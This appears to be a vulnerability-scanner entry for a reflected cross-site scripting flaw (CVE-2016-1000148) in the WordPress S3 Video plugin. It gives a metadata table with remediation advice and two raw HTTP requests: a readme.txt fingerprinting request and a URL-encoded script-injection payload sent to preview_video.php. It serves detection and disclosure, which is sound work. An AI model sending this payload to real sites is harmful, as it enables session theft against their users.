| Title | WordPress S3 Video <=0.983 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. |
| Remediation | Update to the latest version of WordPress S3 Video plugin (>=0.984) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.09352 |
| CVE ID | CVE-2016-1000148 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress wp-plugin xss wpscan s3-video_project vuln |
WordPress S3 Video and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/s3-video/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/s3-video/views/video-management/preview_video.php?media=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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